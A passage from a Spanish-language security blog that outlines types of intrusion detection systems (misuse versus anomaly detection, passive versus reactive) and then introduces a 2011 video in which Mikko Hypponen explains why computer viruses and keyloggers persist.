  • Detección de mal uso: verifica sobre tipos ilegales de tráfico, secuencias que previamente se sabe se utilizan para realizar ataques (conocidas como exploits)
  • Detección de uso anómalo: verifica diferencias estadísticas del comportamiento normal de una red, según franjas horarias, según la utilización de puertos (evitaría el rastreo de puertos)
Tipos de IDS según naturaleza
  • Pasivos: registran violación y genearan una alerta
  • Reactivos: responden ante la situación, anulando sesión, rechazando conexión por el cortafuegos, etc

viernes, 9 de septiembre de 2011

Como funcionan los virus?

Mikko Hypponen, investigador para F-Secure Corporation (para CNN), nos explica bastante bien el motivo por el cual los virus todavía siguen cobrando múltiples víctimas (nuestras PCs) hoy en día. Son millones de dólares en juego.

El video luego pasa a explicarnos bastante bien lo que son keyloggers y el motivo detrás de la existencia de éstos, entre otros temas.